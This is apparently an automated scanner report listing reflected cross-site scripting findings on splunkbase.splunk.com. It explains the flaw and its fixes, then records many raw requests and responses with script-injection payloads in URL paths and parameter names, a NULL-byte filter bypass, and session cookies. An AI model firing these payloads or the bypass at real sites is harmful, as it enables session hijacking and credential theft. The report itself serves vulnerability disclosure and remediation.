Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f96ee"><script>alert(1)</script>1d32502852b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /account:sessionf96ee"><script>alert(1)</script>1d32502852b/ HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Thu, 30 Dec 2010 00:23:53 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4532 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web3 ...[SNIP]... <a href="/account:login/?return_to=/account:sessionf96ee"><script>alert(1)</script>1d32502852b/"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 703a9"><script>alert(1)</script>204459e9748 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /apps703a9"><script>alert(1)</script>204459e9748/ HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Thu, 30 Dec 2010 00:23:57 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4521 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web3 ...[SNIP]... <a href="/account:login/?return_to=/apps703a9"><script>alert(1)</script>204459e9748/"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93241"><script>alert(1)</script>4b1a056675 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /apps93241"><script>alert(1)</script>4b1a056675/All/4.x/ HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Thu, 30 Dec 2010 00:24:32 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4528 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web1 ...[SNIP]... <a href="/account:login/?return_to=/apps93241"><script>alert(1)</script>4b1a056675/All/4.x/"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1f22"><script>alert(1)</script>9b819350794 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /apps/Allf1f22"><script>alert(1)</script>9b819350794/4.x/ HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Thu, 30 Dec 2010 00:24:35 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4529 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web4 ...[SNIP]... <a href="/account:login/?return_to=/apps/Allf1f22"><script>alert(1)</script>9b819350794/4.x/"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f625"><script>alert(1)</script>7360fb43026 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /apps/All/4.x7f625"><script>alert(1)</script>7360fb43026/ HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Thu, 30 Dec 2010 00:24:39 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4529 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web4 ...[SNIP]... <a href="/account:login/?return_to=/apps/All/4.x7f625"><script>alert(1)</script>7360fb43026/"> ...[SNIP]...
1.6. http://splunkbase.splunk.com/apps/All/4.x/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://splunkbase.splunk.com
Path:
/apps/All/4.x/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 998d2"><script>alert(1)</script>46c8e1d7759 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /apps/All/4.x/?998d2"><script>alert(1)</script>46c8e1d7759=1 HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.1 200 OK Date: Thu, 30 Dec 2010 00:24:11 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 51966
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web4 ...[SNIP]... <a href="/account:login/?return_to=/apps/All/4.x/?998d2"><script>alert(1)</script>46c8e1d7759=1"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a43c"><script>alert(1)</script>f8b9a57140 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d64c0"><script>alert(1)</script>bd6c6a49498 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a0d9"><script>alert(1)</script>0dff06f5efc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c88ee"><script>alert(1)</script>ebf16d048a3 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
HTTP/1.0 404 Not Found Date: Wed, 29 Dec 2010 23:34:35 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 4555
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web2 ...[SNIP]... <a href="/account:login/?return_to=/apps/All/4.x/App/app:Splunk+for+Windowsc88ee"><script>alert(1)</script>ebf16d048a3"> ...[SNIP]...
1.11. http://splunkbase.splunk.com/apps/All/4.x/App/app:Splunk+for+Windows [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://splunkbase.splunk.com
Path:
/apps/All/4.x/App/app:Splunk+for+Windows
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 818ad"><script>alert(1)</script>31fedcb1f77 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5a551"><script>alert(1)</script>eb5e844d710 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /static5a551"><script>alert(1)</script>eb5e844d710/css/splunk_shared.css HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Wed, 29 Dec 2010 23:56:16 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4544 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web4 ...[SNIP]... <a href="/account:login/?return_to=/static5a551"><script>alert(1)</script>eb5e844d710/css/splunk_shared.css"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c6c6"><script>alert(1)</script>7ea21d34445 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /static/css9c6c6"><script>alert(1)</script>7ea21d34445/splunk_shared.css HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Wed, 29 Dec 2010 23:58:13 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4544 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web5 ...[SNIP]... <a href="/account:login/?return_to=/static/css9c6c6"><script>alert(1)</script>7ea21d34445/splunk_shared.css"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 731fd"><script>alert(1)</script>743564e3a65 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /static/css/splunk_shared.css731fd"><script>alert(1)</script>743564e3a65 HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Thu, 30 Dec 2010 00:02:51 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4544 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web4 ...[SNIP]... <a href="/account:login/?return_to=/static/css/splunk_shared.css731fd"><script>alert(1)</script>743564e3a65"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload df281"><script>alert(1)</script>bd3d42ddf88 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /staticdf281"><script>alert(1)</script>bd3d42ddf88/css/splunkbase.css HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Thu, 30 Dec 2010 00:24:19 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4541 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web4 ...[SNIP]... <a href="/account:login/?return_to=/staticdf281"><script>alert(1)</script>bd3d42ddf88/css/splunkbase.css"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1799c"><script>alert(1)</script>1748467cd1e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /static/css1799c"><script>alert(1)</script>1748467cd1e/splunkbase.css HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Thu, 30 Dec 2010 00:24:23 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4541 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web3 ...[SNIP]... <a href="/account:login/?return_to=/static/css1799c"><script>alert(1)</script>1748467cd1e/splunkbase.css"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fcec6"><script>alert(1)</script>009160864e0 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /static/css/splunkbase.cssfcec6"><script>alert(1)</script>009160864e0 HTTP/1.1 Host: splunkbase.splunk.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ssoj=1; __utmz=244684359.1293659713.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); sso=174.121.222.18.1293659643849486; XARAYASID=jp6o5ebcargr0gd1slhv3sigq1; Apache=174.121.222.18.1293659643849486; __kti=1293659212550,http%3A%2F%2Fwww.splunk.com%2F,; PHPSESSID=v80qg1h7b4u4ogc545bs0plp30; __ktv=261b-3cc5-ba4a-ca7a12d34190b0a; __utma=244684359.130367719.1293659713.1293659713.1293659713.1; __utmc=244684359; __utmb=244684359; __kts=1293659212553,http%3A%2F%2Fwww.splunk.com%2F,; __ktt=a3e5-504a-a175-5e5312d34190b0f;
Response
HTTP/1.0 404 Not Found Date: Thu, 30 Dec 2010 00:24:26 GMT Server: Apache/2.2.8 (EL) X-Powered-By: PHP/5.2.6 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4541 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <!-- web1 ...[SNIP]... <a href="/account:login/?return_to=/static/css/splunkbase.cssfcec6"><script>alert(1)</script>009160864e0"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f707"><script>alert(1)</script>861bde49ce7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4ad8"><script>alert(1)</script>47e6da290d5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7179f"><script>alert(1)</script>e1cfbccd8eb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6635"><script>alert(1)</script>c2bb4589990 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
